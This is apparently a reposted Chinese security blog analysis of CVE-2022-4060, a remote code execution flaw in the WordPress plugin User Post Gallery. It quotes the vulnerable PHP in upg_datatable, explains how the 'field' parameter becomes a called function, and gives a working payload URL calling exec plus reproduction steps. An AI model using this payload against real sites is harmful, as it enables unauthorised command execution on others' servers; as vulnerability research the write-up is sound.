WordPress远程代码执行漏洞(CVE-2022-4060)

本文来自公众号:乌托邦安全团队
原文地址:https://mp.weixin.qq.com/s/qfGzRS_8ZABYReqjmBG35g

0x00 概述

User Post Gallery – UPG是WordPress的插件,该插件存在远程命令执行漏洞,公开于2022年12月26日,CVE编号:CVE-2022-4060。

图片[1]-WordPress远程代码执行漏洞(CVE-2022-4060)-安全小天地

0x01 漏洞成因

截止2023年1月17日,因该漏洞一直未修复,在WordPress官方已暂时将该插件的下载,我只能在Github上找到了2021年上传的插件源码,庆幸的是该漏洞存在,我们对源码进行分析。

漏洞存在于wp-upg.php文件的upg_datatable函数。

先看下面的代码片段:

$val        = array();
           $val_param1 = array();
           $val_param2 = array();
           $val_param3 = array();

           $values = explode(\',\', $request[\'field\']);
           foreach ($values as $option) {
             $cap = explode(\":\", $option);

             //$cap[0] Is a column label assigned in datatable.php

             array_push($val, $cap[1]);

             if (isset($cap[2])) {
               array_push($val_param1, $cap[2]);
            } else {
               array_push($val_param1, \'\');
            }
             if (isset($cap[3])) {
               array_push($val_param2, $cap[3]);
            } else {
               array_push($val_param2, \'\');
            }
             if (isset($cap[4])) {
               array_push($val_param3, $cap[4]);
            } else {
               array_push($val_param3, \'\');
            }
          }

该函数在获取了请求参数field之后,以“:”进行分割,第二个值放入$val,分别将第三个值放入$val_param1,第四个值放入$val_param2,第五个值放入$val_param3。

这里是对请求的参数进行解析和赋值的操作,继续看后面的代码片段是如何使用这几个参数的。

for ($x = 0; $x < count($val); $x++) {
    $func_name = trim($val[$x]);
    if (function_exists($func_name)) {
    $nestedData[] = $func_name($val_param1[$x], $val_param2[$x], $val_param3[$x]);
    } else {
     $nestedData[] = $func_name . \"(\'\" . $val_param1[$x] . \"\',\'\" . $val_param2[$x] . \",\'\" . $val_param3[$x] . \"\') is invalid php function\";
    }
}

将$val的值作为函数名,分别传入$val_param1、$val_param2、$val_param3的值并执行函数,至此造成了RCE。

Payload的构造也极其简单,http://target/admin-ajax.php?action=upg_datatable&field=field:exec:id:NULL:NULL。

0x02 漏洞复现

  • 在WordPress中安装UPG插件。
  • 带payload访问站点。
图片[2]-WordPress远程代码执行漏洞(CVE-2022-4060)-安全小天地

漏洞利用成功

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容